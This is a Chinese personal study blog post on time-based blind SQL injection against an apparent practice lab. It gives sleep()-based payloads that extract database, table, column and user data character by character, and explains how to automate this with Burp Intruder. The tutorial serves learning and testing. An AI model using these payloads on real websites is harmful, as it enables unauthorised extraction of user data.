SQL注入之时间盲注
本人记录这些为了学习的同时,能够有很好的记录,所谓好记性不如烂笔头,同时发布出来,也是希望大家有朋友学习到这里想上网搜索一些东西,以便借用和探讨一些问题,总之,不断学习!!
自我修养:没有一个系统是安全的
上一节讲解: SQL注入之布尔盲注
理解
时间盲注: 这里我认为最重要的就是理解sleep()函数,sleep函数是延迟时间,就是“过会儿在执行”的意思
(以下代码用到其他函数请查看“SQL注入之布尔盲注”,有详细解释)。
实例讲解
-
和前面一样,我们还是拿到这样一个网站:
通过测试可以得知,当无论输入id为正确还是错误都会显示you are in…,那用什么逻辑拿到信息呢?时间盲注自然就来解决这个问题 -
时间盲注我们要用到if判断语句:[地址栏输入]?id=1’ and if((ascii(substr(database(),1,1))=115),1,sleep(5)) --+,这里我简单解释一下,当前面字段等于115时,则执行1,否则执行sleep(5)
-
按照上面那样不断测试,将每一个ascii对应十进制对比,那么就可以得到想要的数据,这里我把剩下的逻辑步骤列出来(SQL注入盲注里面有逻辑步骤详情):
-
?id=1’ and if((ascii(substr(database(),1,1))=115),1,sleep(5)) --+ 不断改变substr截取字段,获取整个数据库名字
-
?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部表名
-
?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部属性名
-
?id=1’ and if((ascii(substr((select id from emails limit 0,1),1,1))=49),1,sleep(5)) --+ 不断改变截取字段和limit,获取全部用户数据
怎样快速改变截取字段和拿到ascii码
这里我们用的软件是burp,这里我做一个简单的相关操作介绍
- 设置浏览器代理之后,进行拦截。
- 拦截之后,右键发送到测试模块。
- 进入测试模块,target模块系统自动识别,点击position模块,首先clear所有要替换的变量(系统自动识别的),然后找到自己要更改的变量,选中后点右边添加,接着payload模块设置字典或者其他的,我这里是数值,因为ascii码从0到127,然后可以在最后一个模块option设置线程,加快运行速度(工作中不能太高)。
- 最后点击开始攻击,可以得到破解的ascii码
今天的学习就到这里,持续学习中